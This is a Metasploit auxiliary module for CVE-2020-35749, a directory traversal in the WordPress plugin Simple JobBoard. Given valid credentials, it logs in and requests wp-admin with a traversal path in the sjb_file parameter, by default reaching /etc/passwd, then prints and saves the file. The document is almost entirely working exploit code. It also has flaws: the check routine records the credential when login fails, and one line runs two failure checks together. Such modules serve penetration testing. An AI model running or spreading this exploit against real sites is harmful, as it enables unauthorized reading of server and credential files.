Simple JobBoard Authenticated File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Simple JobBoard Authenticated File Read Vulnerability',  
'Description' => %q{  
This module exploits an authenticated directory traversal vulnerability in WordPress plugin 'Simple JobBoard ' < 2.9.3,  
allowing arbitrary file read with the web server privileges.  
},  
'Author' =>  
[  
'Arcangelo Saracino', # Vulnerability discovery  
'Hoa Nguyen - Suncsr Team', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2020-35749'],  
['WPVDB', 'eed3bd69-2faf-4bc9-915c-c36211ef9e2d'],  
['URL','https://arkango.github.io/CVE-2020/CVE-2020-35749%20DIr.%20Traversal%20Simple%20Board%20Job%20Wordpress%20plugin.html']  
],  
'DisclosureDate' => 'Jan 15 2021'))  
  
register_options([  
OptString.new('FILEPATH',[true,'The path to the file to read','/etc/passwd']),  
OptString.new('USERNAME',[true,'The WordPress username to authenticate with']),  
OptString.new('PASSWORD',[true,'The Wordpress password to authenticate with']),  
OptInt.new('DEPTH',[true,'Traversal Depth (to reach the root folder',8]),  
])  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def check  
cookie = wordpress_login(username,password)  
if cookie.nil?  
store_valid_credential(user: username, private: password, proof: cookie)  
return CheckCode::Safe  
end  
CheckCode::Appears  
end  
  
def run_host(ip)  
cookie = wordpress_login(username, password)  
traversal = '../' * datastore['DEPTH']  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
  
res = send_request_cgi({  
'cookie' => cookie,  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path,'wp-admin',''),  
'vars_get' =>  
{  
'post' => 'application_id',  
'action' => 'edit',  
'sjb_file' => "#{traversal}#{filename}"  
}  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200  
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?  
print_good('Downloading file ...')  
print_line("\n#{res.body}\n")  
fname = datastore['FILEPATH']  
path = store_loot(  
'Simple_JobBoard.traversal',  
'text/plain',  
ip,  
res.body,  
fname  
)  
print_good("File save in: #{path}")  
end  
end  
  
`